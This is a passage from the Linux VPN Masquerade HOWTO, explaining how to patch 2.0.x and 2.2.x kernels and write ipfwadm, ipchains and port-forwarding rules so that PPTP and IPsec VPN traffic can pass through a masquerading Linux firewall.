If your VPN server has a Private-Network IP address you will need to redirect the inbound traffic to it and masquerade the outbound traffic from it. Masquerading allows you to make a VPN server available to the internet even if you only have one assigned IP address. This should work even if your IP address is dynamically assigned: you would publicize the IP address for clients through the use of a third-party dynamic DNS service such as that provided by DDNS.ORG or CJB.NET and configure the clients to connect to a system named our-company.ddns.org or something similar. Note that this is a security risk, because it is possible for an incorrect IP address to be retrieved from the dynamic DNS server through timing problems, a failure to properly register the current dynamic IP address, or a third party registering a different IP address under the system name.

2.10 Why patch the Linux kernel?

The largest problem in masquerading VPN traffic is that the stock Linux IP masquerade has no special awareness of IP protocols other than TCP, UDP and ICMP.

All IP traffic may be forwarded and filtered by IP address, but masquerading IP protocols other than TCP, UDP and ICMP requires modifying the kernel.

The PPTP control channel is plain TCP and requires no special setup beyond letting it through the firewall and masquerading it.

Masquerading the IPsec and PPTP data channels requires a modification that adds support for the ESP and GRE protocols to the masquerading code, and masquerading the ISAKMP key exchange protocol requires a modification that prevents masquerade from altering the UDP source port number and adds tracking of the ISAKMP cookie values instead of the port number.

2.11 Current Status

The 2.0.x kernel patch works on kernel 2.0.36 and is incorporated into the standard 2.0.37 and higher kernel releases. It may work on earlier kernels but I have not tested it, and I recommend you upgrade to kernel 2.0.38 anyway for security reasons if you are running an older kernel.

The 2.2.x kernel patch works on kernels from 2.2.5 to 2.2.17 and may work on earlier kernels, but that has not been tested. It has been submitted for inclusion in the standard 2.2.18 release.

I don't have the resources to follow the development kernels, so at this time no work on VPN Masquerade for 2.3.x or 2.4.x has taken place. If you know someone who is working on this, please let me know.

The 2.0.x kernel patch has been tested and works on x86 and Sparc systems, and the 2.2.x kernel patch has been tested and works on x86 and PowerPC systems, but there should be no major problems in porting to other architectures. I believe the architecture dependencies would only be in endian-ness within the bitmaps in the GRE header definition used to format debugging log messages. If anyone ports this to a non-Intel architecture I'd appreciate hearing about it so I can merge any changes into the master copy.

A PPTP-only kernel patch for the 2.1.105+ and early 2.2.x kernels is available at http://bmrc.berkeley.edu/people/chaffee/linux_pptp.html.

See the VPN Masquerade home page at http://www.impsec.org/linux/masquerade/ip_masq_vpn.html for the status of the VPN Masq patches, and http://bmrc.berkeley.edu/people/chaffee/linux_pptp.html for the status of the 2.1.105+/2.2.x PPTP-only Masq patch.


Linux VPN Masquerade HOWTO: Configuring the Linux firewall

 Next Previous Contents

3. Configuring the Linux firewall

3.1 Example network

For the Private-IP configuration examples in this document we will use this sample network:

Internet-------- 200.200.200.*   ppp0 or  200.200.200.200 eth1
                                 Dual-Homed Linux Firewall
            .--- 10.0.0.1        eth0
            |
            |--- 10.0.0.2        VPN client or server
            |
For the registered-IP configuration examples in this document we will use this sample network:
Internet-------- 200.200.200.200 eth1
                                 Dual-Homed Linux Firewall
            .--- 222.0.0.1       eth0
            |
            |--- 222.0.0.2       VPN client or server
            |
The VPN server that the example clients connect to will be 199.0.0.1

The VPN clients that the connect to the example server will be 199.0.0.2 and 199.0.0.3

3.2 Determining what needs to be done on the firewall

If your VPN client or server has a registered internet IP address you do not need to masquerade or modify your kernel - the stock kernel will successfully route all VPN traffic. You can skip directly to the registered-IP setup sections below.

If your VPN client or server has a Private-Network IP address as described in RFC1918 you will need to patch your kernel (unless your kernel is 2.0.37 or higher in the 2.0.x series).

If you are setting up a masqueraded VPN server, you will also have to obtain and install the following two packages:

  • To redirect the inbound TCP/UDP traffic (the 1723/tcp PPTP control channel or the 500/udp ISAKMP channel), you need the appropriate ipportfw port-forwarding kernel patch and configuration tool from http://www.ox.compsoc.org.uk/~steve/portforwarding.html. Port forwarding has been incorporated into the 2.2.x kernel. See man ipmasqadm for configuration details. If ipmasqadm is not included with your distribution it can be obtained at http://juanjox.kernelnotes.org/.

  • To redirect the initial inbound tunnel traffic (GRE for PPTP and ESP for IPsec), you need the ipfwd generic-IP redirector from http://www.pdos.lcs.mit.edu/~cananian/Projects/IPfwd/.

You do not need port forwarding or ipfwd if you are masquerading only clients.

3.3 Patching and configuring the 2.0.x kernel for VPN Masquerade support

  1. Install the kernel source (preferably version 2.0.37), which you can obtain from http://www.kernel.org/ or a mirror. The sources should be automatically extracted into a directory named /usr/src/linux.

  2. Configure and test standard IP Masquerading (see the IP Masquerade HOWTO). Doing this will familiarize you with recompiling your kernel and introduce you to IP Masquerading in general.

  3. Back up your kernel sources.

  4. Obtain the kernel patch if necessary.

    If your kernel version is 2.0.36 or lower, obtain the 2.0.x VPN Masquerade kernel patch from the VPN Masquerade home page in the "Resources" section above.

    If your kernel version is 2.0.37 or higher in the 2.0.x series, you do not need to apply any patches. The VPN Masquerade code is included in the kernel. Skip the discussion of patching the kernel.

    For the purposes of this document we'll assume you've saved the appropriate patch in /usr/src/ip_masq_vpn.patch.gz.

  5. Apply the VPN Masquerade patch to your kernel if necessary:

    • Change to the kernel source directory:
      cd /usr/src/linux
    • Apply the patch:
      zcat ../ip_masq_vpn.patch.gz | patch -l -p0 > vpn-patch.log 2>&1
      Note that the options are "dash lowercase L, dash lowercase P zero". You may get odd results if you change the order of the arguments, as patch seems to be sensitive to the order they appear on the command line.
    • Check the vpn-patch.log file to see if any hunks failed. If you get failed hunks, then you probably either omitted the options or ran the patch program from the wrong directory. Restore your kernel from the backup and try again.

  6. If you are masquerading a VPN server, obtain and install the ipportfw patch from the site given above.

    There is a known conflict between the VPN Masquerade patch and two other networking patches: the IP Firewall Chains patch and the ipportfw patch. They are all trying to add options at the same location in net/ipv4/Config.in, and the changes made by one patch alter the context that the other patches are looking for.

    If you're applying the VPN Masquerade patch and the IP Firewall Chains or ipportfw patches to your 2.0.x kernel, you will have to manually edit net/ipv4/Config.in and add the block of configuration options from the patch file that fails to work. Looking at the patch file should show you where in net/ipv4/Config.in the new options should be added.

    The syntax of patch files is simple. For each block of changes to make, there are two sections: the first shows the "before" state, with an indication of lines to be changed or deleted; the second shows the "after" state, with an indication of the lines that have been changed or added. Use the first section to find where to add the lines, and add the lines that are indicated in the second section.

    This should not be a problem once those patches are updated for 2.0.37+

  7. Configure your kernel and select the following options - say YES to the following:
      * Prompt for development and/or incomplete code/drivers
    CONFIG_EXPERIMENTAL
    - You must enable this to see the VPN Masq options.

  * Networking support
    CONFIG_NET

  * Network firewalls
    CONFIG_FIREWALL

  * TCP/IP networking
    CONFIG_INET

  * IP: forwarding/gatewaying
    CONFIG_IP_FORWARD

  * IP: firewalling
    CONFIG_IP_FIREWALL

  * IP: masquerading (EXPERIMENTAL)
    CONFIG_IP_MASQUERADE
    - This is required.

  * IP: PPTP masq support (EXPERIMENTAL)
    CONFIG_IP_MASQUERADE_PPTP
    - Enables PPTP data channel masquerading, if you are
      masquerading a PPTP client or server.

  * IP: PPTP Call ID masq support (EXPERIMENTAL)
    CONFIG_IP_MASQUERADE_PPTP_MULTICLIENT
    - Enables PPTP Call ID masquerading; only necessary if
      you will be masquerading more than one client trying
      to connect to the same remote server. DO NOT enable
      this option if you will be masquerading a PPTP server.

  * IP: IPsec ESP & ISAKMP masq support (EXPERIMENTAL)
    CONFIG_IP_MASQUERADE_IPSEC
    - Enables IPsec masquerade, if you are masquerading an
      IPsec host.

  * IP: IPSEC masq table lifetime (minutes)
    - See your network administrator to determine what the
      "rekey interval" or "key lifetime" is set to. The
      default lifetime of masq table entries is thirty
      minutes.  If your rekey interval is greater than
      thirty minutes, then you should increase the lifetime
      to a value slightly greater than the rekey interval.

  * IP: always defragment
    CONFIG_IP_ALWAYS_DEFRAG
    - Highly recommended for a firewall.
    NOTE: These are just the settings you need for masquerading. Select whatever other options you need for your specific setup.

  8. Recompile the kernel and install it for testing. Don't replace a known working kernel with your new kernel until you have proven it works.

To determine whether the running kernel includes VPN Masquerade support, run the following command:

grep -i masq /proc/ksyms
...and look for the following entries:
  • IPsec masquerade: ip_masq_out_get_isakmp, ip_masq_in_get_isakmp, ip_fw_masq_esp and ip_fw_demasq_esp
  • PPTP masquerade: ip_fw_masq_gre and ip_fw_demasq_gre
  • PPTP Call-ID masquerade: ip_masq_pptp

If you don't see these entries, VPN Masquerade support is probably not available. If you get complaints about /proc/ksyms not being available or /proc not being available, make sure that you have enabled the /proc filesystem in your kernel configuration.

See the Kernel HOWTO for more details on configuring and recompiling your kernel.

If you are using IPsec masquerade and your system is generating General Protection errors (see /var/log/messages) or is locking up, see the VPN Masquerade home page for an update. This patch is for 2.0.38, but should work on earlier kernels. It has been submitted to Alan Cox for inclusion in the 2.0.39 kernel.

3.4 Patching and configuring the 2.2.x kernel for VPN Masquerade support

  1. Install the kernel source (preferably version 2.2.17 or later), which you can obtain from http://www.kernel.org/ or a mirror. The sources should be automatically extracted into a directory named /usr/src/linux.

  2. Configure and test standard IP Masquerading (see the IP Masquerade HOWTO). Doing this will familiarize you with recompiling your kernel and introduce you to IP Masquerading in general.

  3. Back up your kernel sources.

  4. Obtain the kernel patch from the VPN Masquerade home page in the "Resources" section above.

    For the purposes of this document we'll assume you've saved the appropriate patch in /usr/src/ip_masq_vpn.patch.gz.

  5. Apply the VPN Masquerade patch to your kernel if necessary:

    • Change to the source directory:
      cd /usr/src
    • Apply the patch:
      zcat ip_masq_vpn.patch.gz | patch -l -p0 > vpn-patch.log 2>&1
      Note that the options are "dash lowercase L, dash lowercase P zero". You may get odd results if you change the order of the arguments, as patch seems to be sensitive to the order they appear on the command line.
      Also note that the directory you run the patch command in is different for the 2.2.x kernel patch
    • Check the vpn-patch.log file to see if any hunks failed. If you get failed hunks, then you probably either omitted the options or ran the patch program from the wrong directory. Restore your kernel from the backup and try again.

  6. If you are masquerading a VPN server you do not need the ipportfw patch as port forwarding is now built-in. See the ipmasqadm man page for more details. If ipmasqadm is not included with your distribution it can be obtained at http://juanjox.kernelnotes.org/.

  7. Configure your kernel and select the following options - say YES to the following:
      * Prompt for development and/or incomplete code/drivers
    CONFIG_EXPERIMENTAL
    - You must enable this to see the VPN Masq options.

  * Networking support
    CONFIG_NET

  * Network firewalls
    CONFIG_FIREWALL

  * TCP/IP networking
    CONFIG_INET

  * IP: firewalling
    CONFIG_IP_FIREWALL

  * IP: always defragment
    CONFIG_IP_ALWAYS_DEFRAG
    - Required for masquerading. This may or may not
      be in your kernel config. If not, you should
      run this in your startup scripts:
        echo 1 > /proc/sys/net/ipv4/ip_always_defrag

  * IP: masquerading (EXPERIMENTAL)
    CONFIG_IP_MASQUERADE
    - This is required.

  * IP: masquerading special modules support
    CONFIG_IP_MASQUERADE_MOD
    - This is required.

  * IP: ipportfw masq support (EXPERIMENTAL)
    CONFIG_IP_MASQUERADE_IPPORTFW
    - Enable this if you will be masquerading a VPN server.

  * IP: PPTP masq support
    CONFIG_IP_MASQUERADE_PPTP
    - Enables PPTP data channel masquerading, if you are
      masquerading a PPTP client or server. This is now
      available as a module.
      Note that you no longer need to specify Call-ID masquerade.

  * IP: IPsec ESP & ISAKMP masq support (EXPERIMENTAL)
    CONFIG_IP_MASQUERADE_IPSEC
    - Enables IPsec masquerade, if you are masquerading an
      IPsec host. This is now available as a module.

  * IP: IPsec masq table lifetime (minutes)
    - See your network administrator to determine what the
      "rekey interval" or "key lifetime" is set to. The default
      lifetime of masq table entries is thirty minutes. If
      your rekey interval is greater than thirty minutes,
      then you should increase the lifetime to a value
      slightly greater than the rekey interval.

  * IP: Enable parallel sessions (possible security risk - see help)
    CONFIG_IP_MASQUERADE_IPSEC_PAROK
    - See the IPsec masquerade technical notes and special
      security considerations section of the HOWTO for
      security considerations to be aware of when
      masquerading IPsec traffic. If you are only
      masquerading one IPsec client this setting has no
      effect.
    Say NO to the following:
      * IP: GRE tunnels over IP
    CONFIG_NET_IPGRE
    - This, confusingly, has *NOTHING* to do with PPTP.
      It enables support for GRE tunnels as used by Cisco
      routers. The fact that you see this option does not
      imply that PPTP support is available. You still need
      to apply the VPN Masquerade patch if the PPTP options
      listed above do not appear when you are configuring
      your kernel. DO NOT enable this unless you are setting
      up a GRE tunnel to a Cisco router.
    NOTE: These are just the settings you need for masquerading. Select whatever other options you need for your specific setup.

  8. Recompile the kernel and install it for testing. Don't replace a known working kernel with your new kernel until you have proven it works.

To determine whether the running kernel includes VPN Masquerade support, run the following command:

grep -i masq /proc/ksyms
...and look for the following entries:
  • IPsec masquerade: ip_masq_esp and ip_demasq_esp
  • PPTP masquerade: ip_masq_pptp_tcp and ip_demasq_pptp_tcp
Or run:
lsmod
...and look for the following entries:
  • IPsec masquerade: ip_masq_ipsec
  • PPTP masquerade: ip_masq_pptp

If you don't see these entries, VPN Masquerade support is probably not available - did you remember to modprobe ip_masq_pptp.o or modprobe ip_masq_ipsec.o if you compiled them as modules? If VPN masquerade stops working after you reboot, did you remember to add the modprobe commands into your /etc/rc.d/rc.local startup script?

If you get complaints about /proc/ksyms not being available or /proc not being available, make sure that you have enabled the /proc filesystem in your kernel configuration.

See the Kernel HOWTO for more details on configuring and recompiling your kernel.

3.5 ipfwadm setup for a Private-IP VPN Client or Server

The firewall must now be configured to masquerade the outbound VPN traffic. You may wish to visit http://www.wolfenet.com/~jhardin/ipfwadm.html to take a look at a GUI wrapper around the ipfwadm command that automates a lot of security-related packet filtering setup.

The minimum firewall rules are:

# Set the default forwarding policy to DENY:
ipfwadm -F -p deny
# Allow local-network traffic
ipfwadm -I -a accept    -S 10.0.0.0/8 -D 0.0.0.0/0  -W eth0
ipfwadm -O -a accept    -S 0.0.0.0/0  -D 10.0.0.0/8 -W eth0
# Masquerade traffic for internet addresses and allow internet traffic
ipfwadm -F -a accept -m -S 10.0.0.0/8 -D 0.0.0.0/0  -W ppp0
ipfwadm -O -a accept    -S 0.0.0.0/0  -D 0.0.0.0/0  -W ppp0
ipfwadm -I -a accept    -S 0.0.0.0/0  -D 0.0.0.0/0  -W ppp0
or, if you have a permanent connection,
ipfwadm -F -a accept -m -S 10.0.0.0/8 -D 0.0.0.0/0  -W eth1
ipfwadm -O -a accept    -S 0.0.0.0/0  -D 0.0.0.0/0  -W eth1
ipfwadm -I -a accept    -S 0.0.0.0/0  -D 0.0.0.0/0  -W eth1
This is a completely open setup, though. It will masquerade any traffic from any host on the local network destined for any host on the internet, and provides no security at all.

A tight firewall setup would only allow traffic between the client and the server, and would block everything else:

# Set the default policy to DENY:
ipfwadm -I -p deny
ipfwadm -O -p deny
ipfwadm -F -p deny
# Allow local-network traffic
ipfwadm -I -a accept -S 10.0.0.0/8 -D 0.0.0.0/0  -W eth0
ipfwadm -O -a accept -S 0.0.0.0/0  -D 10.0.0.0/8 -W eth0
# Masquerade only VPN traffic between the VPN client and the VPN server
ipfwadm -F -a accept -m -P udp -S 10.0.0.2/32 500 -D 199.0.0.1/32 500  -W ppp0
ipfwadm -F -a accept -m -P tcp -S 10.0.0.2/32     -D 199.0.0.1/32 1723 -W ppp0
ipfwadm -F -a deny      -P tcp -S 10.0.0.2/32     -D 199.0.0.1/32      -W ppp0
ipfwadm -F -a deny      -P udp -S 10.0.0.2/32     -D 199.0.0.1/32      -W ppp0
ipfwadm -F -a accept -m -P all -S 10.0.0.2/32     -D 199.0.0.1/32      -W ppp0
ipfwadm -O -a accept    -P udp -S 200.200.200.0/24 500 -D 199.0.0.1/32 500  -W ppp0
ipfwadm -O -a accept    -P tcp -S 200.200.200.0/24     -D 199.0.0.1/32 1723 -W ppp0
ipfwadm -O -a deny      -P tcp -S 200.200.200.0/24     -D 199.0.0.1/32      -W ppp0
ipfwadm -O -a deny      -P udp -S 200.200.200.0/24     -D 199.0.0.1/32      -W ppp0
ipfwadm -O -a accept    -P all -S 200.200.200.0/24     -D 199.0.0.1/32      -W ppp0
ipfwadm -I -a accept    -P udp -S 199.0.0.1/32 500     -D 200.200.200.0/24 500 -W ppp0
ipfwadm -I -a accept    -P tcp -S 199.0.0.1/32 1723    -D 200.200.200.0/24     -W ppp0
ipfwadm -I -a deny      -P tcp -S 199.0.0.1/32         -D 200.200.200.0/24     -W ppp0
ipfwadm -I -a deny      -P udp -S 199.0.0.1/32         -D 200.200.200.0/24     -W ppp0
ipfwadm -I -a accept    -P all -S 199.0.0.1/32         -D 200.200.200.0/24     -W ppp0
or, if you have a permanent connection,
ipfwadm -F -a accept -m -P udp -S 10.0.0.2/32 500 -D 199.0.0.1/32 500  -W eth1
ipfwadm -F -a accept -m -P tcp -S 10.0.0.2/32     -D 199.0.0.1/32 1723 -W eth1
ipfwadm -F -a deny      -P tcp -S 10.0.0.2/32     -D 199.0.0.1/32      -W eth1
ipfwadm -F -a deny      -P udp -S 10.0.0.2/32     -D 199.0.0.1/32      -W eth1
ipfwadm -F -a accept -m -P all -S 10.0.0.2/32     -D 199.0.0.1/32      -W eth1
ipfwadm -O -a accept    -P udp -S 200.200.200.200/32 500 -D 199.0.0.1/32 500  -W eth1
ipfwadm -O -a accept    -P tcp -S 200.200.200.200/32     -D 199.0.0.1/32 1723 -W eth1
ipfwadm -O -a deny      -P tcp -S 200.200.200.200/32     -D 199.0.0.1/32      -W eth1
ipfwadm -O -a deny      -P udp -S 200.200.200.200/32     -D 199.0.0.1/32      -W eth1
ipfwadm -O -a accept    -P all -S 200.200.200.200/32     -D 199.0.0.1/32      -W eth1
ipfwadm -I -a accept    -P udp -S 199.0.0.1/32 500  -D 200.200.200.200/32 500 -W eth1
ipfwadm -I -a accept    -P tcp -S 199.0.0.1/32 1723 -D 200.200.200.200/32     -W eth1
ipfwadm -I -a deny      -P tcp -S 199.0.0.1/32      -D 200.200.200.200/32     -W eth1
ipfwadm -I -a deny      -P udp -S 199.0.0.1/32      -D 200.200.200.200/32     -W eth1
ipfwadm -I -a accept    -P all -S 199.0.0.1/32      -D 200.200.200.200/32     -W eth1

Note: these rules only allow VPN traffic and block everything else. You will have to add rules for any other traffic you wish to permit, such as DNS, HTTP, POP, IMAP, etc.

3.6 ipchains setup for a Private-IP VPN Client or Server

The minimum ipchains firewall rules are:

# Set the default forwarding policy to DENY:
ipchains -P forward DENY
# Allow local-network traffic
ipchains -A input   -j ACCEPT -s 10.0.0.0/8 -d 0.0.0.0/0  -i eth0
ipchains -A output  -j ACCEPT -s 0.0.0.0/0  -d 10.0.0.0/8 -i eth0
# Masquerade traffic for internet addresses and allow internet traffic
ipchains -A forward -j MASQ   -s 10.0.0.0/8 -d 0.0.0.0/0  -i ppp0
ipchains -A output  -j ACCEPT -s 0.0.0.0/0  -d 0.0.0.0/0  -i ppp0
ipchains -A input   -j ACCEPT -s 0.0.0.0/0  -d 0.0.0.0/0  -i ppp0
or, if you have a permanent connection,
ipchains -A forward -j MASQ   -s 10.0.0.0/8 -d 0.0.0.0/0  -i eth1
ipchains -A output  -j ACCEPT -s 0.0.0.0/0  -d 0.0.0.0/0  -i eth1
ipchains -A input   -j ACCEPT -s 0.0.0.0/0  -d 0.0.0.0/0  -i eth1
This is a completely open setup, though. It will masquerade any traffic from any host on the local network destined for any host on the internet, and provides no security at all.

A tight firewall setup would only allow traffic between the client and the server, and would block everything else:

# Set the default policy to DENY:
ipchains -P input   DENY
ipchains -P output  DENY
ipchains -P forward DENY
# Allow local-network traffic
ipchains -A input  -j ACCEPT -s 10.0.0.0/8 -d 0.0.0.0/0  -i eth0
ipchains -A output -j ACCEPT -s 0.0.0.0/0  -d 10.0.0.0/8 -i eth0
# Masquerade only VPN traffic between the VPN client and the VPN server
# IPsec
ipchains -A forward -j MASQ   -p udp -s 10.0.0.2/32 500      -d 199.0.0.1/32 500     -i ppp0
ipchains -A output  -j ACCEPT -p udp -s 200.200.200.0/24 500 -d 199.0.0.1/32 500     -i ppp0
ipchains -A input   -j ACCEPT -p udp -s 199.0.0.1/32 500     -d 200.200.200.0/24 500 -i ppp0
ipchains -A forward -j MASQ   -p 50  -s 10.0.0.2/32          -d 199.0.0.1/32         -i ppp0
ipchains -A output  -j ACCEPT -p 50  -s 200.200.200.0/24     -d 199.0.0.1/32         -i ppp0
ipchains -A input   -j ACCEPT -p 50  -s 199.0.0.1/32         -d 200.200.200.0/24     -i ppp0
# PPTP
ipchains -A forward -j MASQ   -p tcp -s 10.0.0.2/32       -d 199.0.0.1/32 1723 -i ppp0
ipchains -A output  -j ACCEPT -p tcp -s 200.200.200.0/24  -d 199.0.0.1/32 1723 -i ppp0
ipchains -A input   -j ACCEPT -p tcp -s 199.0.0.1/32 1723 -d 200.200.200.0/24  -i ppp0
ipchains -A forward -j MASQ   -p 47  -s 10.0.0.2/32       -d 199.0.0.1/32      -i ppp0
ipchains -A output  -j ACCEPT -p 47  -s 200.200.200.0/24  -d 199.0.0.1/32      -i ppp0
ipchains -A input   -j ACCEPT -p 47  -s 199.0.0.1/32      -d 200.200.200.0/24  -i ppp0
or, if you have a permanent connection,
# IPsec
ipchains -A forward -j MASQ   -p udp -s 10.0.0.2/32 500        -d 199.0.0.1/32 500       -i eth1
ipchains -A output  -j ACCEPT -p udp -s 200.200.200.200/32 500 -d 199.0.0.1/32 500       -i eth1
ipchains -A input   -j ACCEPT -p udp -s 199.0.0.1/32 500       -d 200.200.200.200/32 500 -i eth1
ipchains -A forward -j MASQ   -p 50  -s 10.0.0.2/32            -d 199.0.0.1/32           -i eth1
ipchains -A output  -j ACCEPT -p 50  -s 200.200.200.200/32     -d 199.0.0.1/32           -i eth1
ipchains -A input   -j ACCEPT -p 50  -s 199.0.0.1/32           -d 200.200.200.200/32     -i eth1
# PPTP
ipchains -A forward -j MASQ   -p tcp -s 10.0.0.2/32        -d 199.0.0.1/32 1723  -i eth1
ipchains -A output  -j ACCEPT -p tcp -s 200.200.200.200/32 -d 199.0.0.1/32 1723  -i eth1
ipchains -A input   -j ACCEPT -p tcp -s 199.0.0.1/32 1723  -d 200.200.200.200/32 -i eth1
ipchains -A forward -j MASQ   -p 47  -s 10.0.0.2/32        -d 199.0.0.1/32       -i eth1
ipchains -A output  -j ACCEPT -p 47  -s 200.200.200.200/32 -d 199.0.0.1/32       -i eth1
ipchains -A input   -j ACCEPT -p 47  -s 199.0.0.1/32       -d 200.200.200.200/32 -i eth1

Note: these rules only allow VPN traffic. You will have to add rules for any other traffic you wish to permit, such as DNS, HTTP, POP, IMAP, etc.

Also note how there rules are much neater and easier to make sense of than the equivalent ipfwadm rules. This is because ipchains allows specification of all IP protocols, not just TCP, UDP, ICMP or ALL.

3.7 A note about dynamic IP addressing

If your firewall is assigned a dynamic IP address by your ISP (dialup accounts are this way, as are some cable internet services), then you should add the following to the startup script /etc/rc.d/rc.local:

echo 7 > /proc/sys/net/ipv4/ip_dynaddr
This enables dynamic IP address following, which means that should your connection drop and be reestablished, any active sessions will be updated to the new IP address rather than using the old IP address. This does not mean that the session will continue across the interruption, rather that it will be closed down quickly.

If you do not do this, then there may be a "dead period" after you redial and before old masq table entries expire where you're being masqueraded with the wrong IP address, which will prevent your establishing a connection.

This is particularly helpful if you are using a demand-dial daemon such as diald to manage your dialup connection.

See /usr/src/linux/Documentation/networking/ip_dynaddr.txt for more details.

3.8 Additional setup for a Private-IP VPN Server

If you are setting up VPN masquerade for a Private-IP VPN server (that is, you wish to provide for inbound connections as well as outbound connections), you also need to install two packet-forwarding utilities. One (ipportfw) forwards inbound TCP or UDP traffic addressed to a specific port on the firewall system to a system on the local network behind the firewall. This is used to redirect the initial inbound 1723/tcp PPTP control channel or 500/udp ISAKMP traffic to the VPN server. The other (ipfwd) is a more generic forwarding utility that allows you to do this for any IP protocol. It is used to forward the initial inbound 47/ip (GRE) or 50/ip (ESP) data channel traffic to the VPN server.

Outbound responses to the inbound 1723/tcp or 500/udp traffic are masqueraded using the normal IP-Masquerade facilities in the Linux kernel. The outbound 47/ip or 50/ip traffic is masqueraded using the VPN-Masquerade kernel patch you installed earlier.

Once these utilities are installed, you must configure them to forward the traffic to the VPN server.

  • Configuring ipportfw under 2.0.x kernels

    The following commands will set up ipportfw to forward the initial inbound 500/udp traffic to the IPsec server:

    # Static-IP ipportfw setup for IPsec
# Clear the ipportfw forwarding table
/sbin/ipportfw -C
# Forward traffic addressed to the firewall's 500/udp port
# to the IPsec server's 500/udp port
/sbin/ipportfw -A -u 200.200.200.200/500 -R 10.0.0.2/500
    The following commands will set up ipportfw to forward the initial inbound 1723/tcp traffic to the PPTP server:
    # Static-IP ipportfw setup for PPTP
# Clear the ipportfw forwarding table
/sbin/ipportfw -C
# Forward traffic addressed to the firewall's 1723/tcp port
# to the PPTP server's 1723/tcp port
/sbin/ipportfw -A -t 200.200.200.200/1723 -R 10.0.0.2/1723
    Note that the ipportfw command line requires the internet IP address of the firewall, and you cannot specify the interface (e.g. ppp0) as you can with ipfwadm. This means that for a dynamic-IP connection (such as a typical dialup PPP connection) you have to run these commands every time you connect to the internet and are assigned a new IP address. You can do this quite easily - simply add the following to your /etc/ppp/ip-up or /etc/ppp/ip-up.local script:
    # Dynamic-IP ipportfw setup for IPsec
# Clear the ipportfw forwarding table
/sbin/ipportfw -C
# Forward traffic addressed to the firewall's 500/udp port
# to the IPsec server's 500/udp port
/sbin/ipportfw -A -u ${4}/500 -R 10.0.0.2/500
    or:
    # Dynamic-IP ipportfw setup for PPTP
# Clear the ipportfw forwarding table
/sbin/ipportfw -C
# Forward traffic addressed to the firewall's 1723/tcp port
# to the PPTP server's 1723/tcp port
/sbin/ipportfw -A -t ${4}/1723 -R 10.0.0.2/1723
    See http://www.wolfenet.com/~jhardin/ipfwadm/invocation.html for more information on firewalling with a dynamic IP.

  • Configuring ipfwd under both 2.0.x and 2.2.x kernels

    The following command will set up ipfwd to forward the initial inbound 50/ip traffic to the IPsec server:

    /sbin/ipfwd --masq 10.0.0.2 50 &
    The following command will set up ipfwd to forward the initial inbound 47/ip traffic to the PPTP server:
    /sbin/ipfwd --masq 10.0.0.2 47 &
    It should only be run once, from your /etc/rc.d/rc.local script.

The techniques described here can be generalized to allow masquerading of most any type of server - HTTP, FTP, SMTP, and so forth. Servers that are purely TCP- or UDP-based will not require ipfwd.

If you are masquerading a PPTP server you also need to make sure that you have not enabled PPTP Call ID masquerade in the kernel. Enabling PPTP Call ID masquerade builds in some assumptions that you're masquerading only PPTP clients, so enabling it will prevent proper masquerade of the PPTP server traffic. This also means that with the 2.0.x version of the patch you cannot simultaneously masquerade a PPTP server and PPTP clients.

3.9 ipfwadm setup for a Registered-IP VPN Server

Setting up a registered-IP VPN server behind a Linux firewall is a simple matter of making sure the appropriate routing and packet-filter commands are in place. Masquerading is not required.

Unfortunately the 2.0.x-series kernels will not let us specify IP protocol 47 or 50 directly, so this firewall is less secure than it could be. If this is a problem for you, then install the IP Firewall Chains kernel patch or move to the 2.1.x or 2.2.x series kernel, where you can filter by IP protocol.

The firewall rules will look something like this:

# This section should follow your other firewall rules.

# Specify the acceptable clients explicitly for tighter security.
# Allow the IPsec ISAKMP traffic in and out.
ipfwadm -I -a accept -W eth1 -V 200.200.200.200 -P udp -S 199.0.0.2/32 500 -D 222.0.0.2/32 500
ipfwadm -O -a accept -W eth1 -V 200.200.200.200 -P udp -D 199.0.0.2/32 500 -S 222.0.0.2/32 500
ipfwadm -I -a accept -W eth1 -V 200.200.200.200 -P udp -S 199.0.0.3/32 500 -D 222.0.0.2/32 500
ipfwadm -O -a accept -W eth1 -V 200.200.200.200 -P udp -D 199.0.0.3/32 500 -S 222.0.0.2/32 500
# Allow the PPTP control channel in and out.
ipfwadm -I -a accept -W eth1 -V 200.200.200.200 -P tcp -S 199.0.0.2/32 -D 222.0.0.2/32 1723
ipfwadm -O -a accept -W eth1 -V 200.200.200.200 -P tcp -D 199.0.0.2/32 -S 222.0.0.2/32 1723
ipfwadm -I -a accept -W eth1 -V 200.200.200.200 -P tcp -S 199.0.0.3/32 -D 222.0.0.2/32 1723
ipfwadm -O -a accept -W eth1 -V 200.200.200.200 -P tcp -D 199.0.0.3/32 -S 222.0.0.2/32 1723

# Block all other TCP and UDP traffic from the internet.
# This is essentially a "default deny TCP/UDP" that
# only applies to the internet interface.
ipfwadm -I -a deny -W eth1 -V 200.200.200.200 -P tcp
ipfwadm -I -a deny -W eth1 -V 200.200.200.200 -P udp

# Specify the acceptable clients explicitly for tighter security.
# Note that this is too open since we're forced to
# specify "-P all" rather than "-P 47" or "-P 50"...
# Allow the PPTP data channel and IPsec ESP traffic in and out.
ipfwadm -I -a accept -W eth1 -V 200.200.200.200 -P all -S 199.0.0.2/32 -D 222.0.0.2/32
ipfwadm -0 -a accept -W eth1 -V 200.200.200.200 -P all -D 199.0.0.2/32 -S 222.0.0.2/32
ipfwadm -I -a accept -W eth1 -V 200.200.200.200 -P all -S 199.0.0.3/32 -D 222.0.0.2/32
ipfwadm -O -a accept -W eth1 -V 200.200.200.200 -P all -D 199.0.0.3/32 -S 222.0.0.2/32

# Block all other traffic from the internet.
# This is essentially a "default deny" that
# only applies to the internet interface.
ipfwadm -I -a deny -W eth1 -V 200.200.200.200

If you are installing firewall rules on forwarding and/or rules on the inner interface, you will have do do something similar. The above example only covers VPN traffic; you will have to merge it into your existing firewall setup to allow any other traffic you need.

3.10 ipfwadm setup for a Registered-IP VPN Client

Setting up a registered-IP VPN client behind a Linux firewall is similar to setting up a registered-IP VPN server.

The firewall rules will look something like this:

# Allow the IPsec ISAKMP traffic out and in.
ipfwadm -O -a accept -W eth1 -V 200.200.200.200 -P udp -S 222.0.0.2/32 500 -D 199.0.0.1/32 500
ipfwadm -I -a accept -W eth1 -V 200.200.200.200 -P udp -D 222.0.0.2/32 500 -S 199.0.0.1/32 500
# Allow the PPTP control channel out and in.
ipfwadm -O -a accept -W eth1 -V 200.200.200.200 -P tcp -S 222.0.0.2/32 -D 199.0.0.1/32 1723
ipfwadm -I -a accept -W eth1 -V 200.200.200.200 -P tcp -D 222.0.0.2/32 -S 199.0.0.1/32 1723

# Block all other TCP and UDP traffic from the internet.
# This is essentially a "default deny TCP/UDP" that
# only applies to the internet interface.
ipfwadm -I -a deny -W eth1 -V 200.200.200.200 -P tcp
